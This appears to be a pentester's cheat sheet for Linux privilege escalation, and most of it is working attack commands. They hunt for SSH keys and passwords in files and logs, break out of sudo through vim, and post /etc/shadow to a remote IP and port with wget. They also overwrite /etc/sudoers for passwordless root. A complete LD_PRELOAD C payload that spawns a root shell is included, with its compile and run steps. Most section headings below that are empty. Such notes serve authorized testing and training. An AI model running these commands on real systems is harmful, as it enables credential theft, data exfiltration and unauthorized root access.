Linux Privesc

Privilege Escalation

Sensitive Information

find / -writable -type d 2>/dev/null
find / -name authorized_keys 2>/dev/null
find / -name id_rsa 2>/dev/null
find / -name local.txt 2>/dev/null
grep --color=always -rnwi '.' -e "Password" 2>/dev/null
grep -r "password" / 2>/dev/null
grep -r "pass" . 2>/dev/null
history | head -n 20
strings /var/log/auth* | grep -i pass
cat configuration.php | grep --color=always -E "(public|private|true|false|[0-9]+|'.*?')|$"

Sudo

sudo -l
cat /etc/sudoers
sudo -V
(ALL : ALL) ALL = sudo -i # Insta root

# Breakout
sudo vim -c '!sh'
:!bash

# Intended Functionality
sudo -l
sudo apache2 -f /etc/shadow
sudo wget --post-file=/etc/shadow IP:PORT

# Makefile
(ALL) /usr/bin/make install -C /home/profiler/php-spx
vim makefile # SHELL=/tmp/shell

# Sudoers
echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers

# LD_PRELOAD
# LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment.
# LD_PRELOAD loads a shared object before any others when a program is run.
vim shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

# Compile
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so apache2
id

SUID

Capabilities

SUID / SGID Executables - Shared Object Injection

SUID / SGID Executables - Environment Variables

Scheduled Tasks

Path Environment Variable

Groups

Kernel

/etc/passwd

Docker

Processes

Linux Path Hijacking

PwnKit

NFS Root Squashing

Tools

LinPEAS

LinEnum

LinuxPrivChecker

Unix-privesc-check

mimipe

Last updated